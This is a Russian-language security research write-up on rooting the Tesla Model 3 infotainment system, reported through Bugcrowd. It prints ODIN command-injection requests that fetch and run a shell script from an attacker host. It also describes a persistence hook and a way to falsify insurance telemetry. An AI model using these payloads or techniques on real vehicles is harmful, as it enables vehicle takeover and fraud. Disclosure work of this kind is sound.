## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANALYTICETH-TESLA-SECURITY-RESEARCH
# Исследование безопасности Tesla
Исследование уязвимостей информационно-развлекательной системы Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), ответственно раскрытое компании Tesla через Bugcrowd.
Получен постоянный root-доступ на серийном Tesla Model 3 через уязвимость внедрения команд в диагностическом интерфейсе ODIN (CVE-2022-42008). Оттуда обнаружены пять дополнительных уязвимостей — включая метод сохранения доступа, переживающий обновления прошивки (CVE-2022-42005, CVE-2022-42006), и метод подмены телеметрии страхового рейтинга Safety Score, который напрямую снизил ежемесячные страховые взносы с $130 до $83.
Шесть уязвимостей в ODIN, hermes и Safety Score. Четыре CVE. Вознаграждены через Bugcrowd и включены в программу SSH Security Researcher компании Tesla.
## Сводка уязвимостей
Находка| CVE| Влияние| Статус| Вознаграждение
---|---|---|---|---
Корневой Shell через ODIN| CVE-2022-42008| Корневой Shell через внедрение команд| Исправлено (2021.32.10)| Вознаграждение Bugcrowd
Просроченные токены ODIN| CVE-2022-42007| Повтор токена через NTP-спуфинг| Исправлено (2021.32.10)| Вознаграждение Bugcrowd
Загрузка на Mothership| —| Произвольная загрузка файлов на серверы Tesla| Отмечено как N/A| —
Лог-бэкшелл + доступ к DV| CVE-2022-42005, CVE-2022-42006| Постоянный доступ, переживающий обновления прошивки| Исправлено| Вознаграждение Bugcrowd
Подмена телеметрии страховки| —| Поддельный Safety Score снижает страховые взносы| Исправление не подтверждено| —
Unfuse ODIN| —| Любая задача ODIN без аутентификации| Исправление не подтверждено| —
## Архитектура
Информационно-развлекательная система Tesla Model 3/Y (Intel Atom MCU) работает под управлением ОС на базе Linux с несколькими поверхностями атаки, выявленными в ходе этого исследования:
root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
## Получение root-доступа и сохранение доступа
_Полные отчёты:Корневой Shell через ODIN | Лог-бэкшелл + доступ к DV_
Диагностический интерфейс ODIN предоставляет задачу `TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK`, которая принимает параметр `MicTest-Input` — список строк, передаваемый напрямую в `CID_EXEC` для выполнения от имени root. Любой подписчик с минимальным уровнем доступа Toolbox (`tbx-external`) может запустить эту задачу, подключившись к диагностическому порту автомобиля и отправив POST-запрос. Входные строки выполняются буквально, поэтому атака состоит из двух запросов: сначала загрузите скрипт обратного шелла в автомобиль через curl:
root@kitploit:~
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Затем выполните его:
root@kitploit:~
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
После установки root-шелла постоянный доступ достигается путём перехвата конфигурации ротации логов svlogd. Стандартная команда сжатия gzip заменяется скриптом, который при каждой ротации логов открывает бэкшелл от имени учётной записи `log`:
root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c
Файл конфигурации делается неизменяемым с помощью `chattr +i`, что гарантирует его сохранение при обновлениях прошивки. Хотя учётная запись `log` не может использовать стандартную команду `sdv` для установки значений данных (dbus отклоняет её), дремлющий `prototype_server` Tesla предоставляет неограниченный websocket-доступ ко всем значениям данных при включении через `settings.conf`. Пользовательский набор shell-скриптов (sdv, lv, send.sh) эмулирует websocket-клиент для взаимодействия с этим сервером.
Полный набор инструментов для постоянного доступа управляется через поле ввода Access Code в автомобиле (видимое при длительном нажатии на модель автомобиля на сенсорном экране), которое отслеживается скриптом-слушателем, отправляющим команды — включая открытие бэкшеллов, установку значений данных и переключение сервисных режимов.
## Независимые находки
### Просроченные токены ODIN + NTP-спуфинг (CVE-2022-42007)
Конечная точка генерации токенов ODIN от Tesla принимает просроченные `tbx-token` и — что критично — также возвращает `tbx-token` пользователя в ответе, что позволяет утекать токенам через обмен. Просроченные токены ODIN обычно отклоняются автомобилем, но, подделав источник NTP-времени автомобиля с помощью ARP-перехвата (ntpspoof.py), можно обмануть автомобиль, заставив его принять токены с истекшим сроком действия. Шлюз обнаруживает манипуляции с NTP (`GTW_w149_rtcTimeSetInPast`), но не реагирует на этот сигнал.
### Загрузка на Mothership
Используя сертификаты автомобиля из `/var/lib/car_creds/`, можно запустить службу `hermes_proxy` на локальной машине, что даёт прямой доступ к серверу Mothership Tesla. Конечная точка резервного копирования профиля (`/vehicles/${VIN}/computer_profile`) принимает произвольные загрузки файлов без проверки — одна команда curl загружает любой файл в производственную инфраструктуру Tesla. Tesla отметила эту находку как N/A («работает как задумано»).
### Подмена телеметрии страховки
Система Safety Score от Tesla собирает телеметрию вождения с MCU и загружает её на Mothership для расчёта страховых взносов. Имея root-доступ, можно захватить образец телеметрии с идеальным рейтингом, раздуть его значения одометра в protobuf-кодировке с помощью hex-редактирования (используя обратно разработанную схему telemetry.proto) и повторно загрузить изменённые образцы. Две сфабрикованные поездки были приняты Mothership — одна показывала ~2700 миль за 3.5 часа — что напрямую снизило ежемесячные страховые взносы с $130 до $83. Основная проблема в том, что телеметрия исходит из MCU (доступного пользователю), а не из блока APE3 (защищённого). Tesla не выплатила вознаграждение за эту находку.
### Обход аутентификации ODIN
Имея root-доступ, можно подмонтировать поддельный скрипт `is-fused` поверх `/usr/bin/is-fused` и перезапустить службы ODIN, что заставит ODIN считать, что устройство находится в заводском/разработочном режиме. В этом состоянии любая задача ODIN может быть выполнена без токенов аутентификации — включая задачи, которые могут отключить автомобильную сигнализацию (`PROC_ICE_X_SET-DATA-VALUE`), стереть VIN (`PROC_ICE_X_DEASSOCIATE-PRODUCT-ID`) или потенциально задействовать критически важные для безопасности функции автомобиля.
## Инструменты
## Отказ от ответственности
Это исследование было проведено в рамках ответственного исследования безопасности и сообщено в программу Bug Bounty компании Tesla через Bugcrowd. Все уязвимости с присвоенными CVE исправлены в текущих версиях прошивки. Этот репозиторий опубликован только в образовательных целях.
В результате этого исследования команда получила денежные вознаграждения через Bugcrowd и была включена в программу SSH Security Researcher компании Tesla, получив подписанные SSH-сертификаты для дальнейшего доступа к исследованиям.
## Ссылки
* CVE-2022-42008 — Корневой Shell через ODIN
* CVE-2022-42007 — Просроченные токены ODIN
* CVE-2022-42006 — Доступ к значениям данных через Prototype Server
* CVE-2022-42005 — Постоянный лог-шелл
* Взлом Tesla: Часть 1 — Получение root-доступа на Tesla Model 3
* Взлом Tesla: Часть 2 — Подмена телеметрии страховки Tesla
* Tesla Security
## Исследователи
* **Matthew C. Pilsbury**
* **Alex Harbuzenko**
* **Oleg Kutkov**
* **Tristan Rice**
Исследование проведено от имени SourceHat Labs Inc.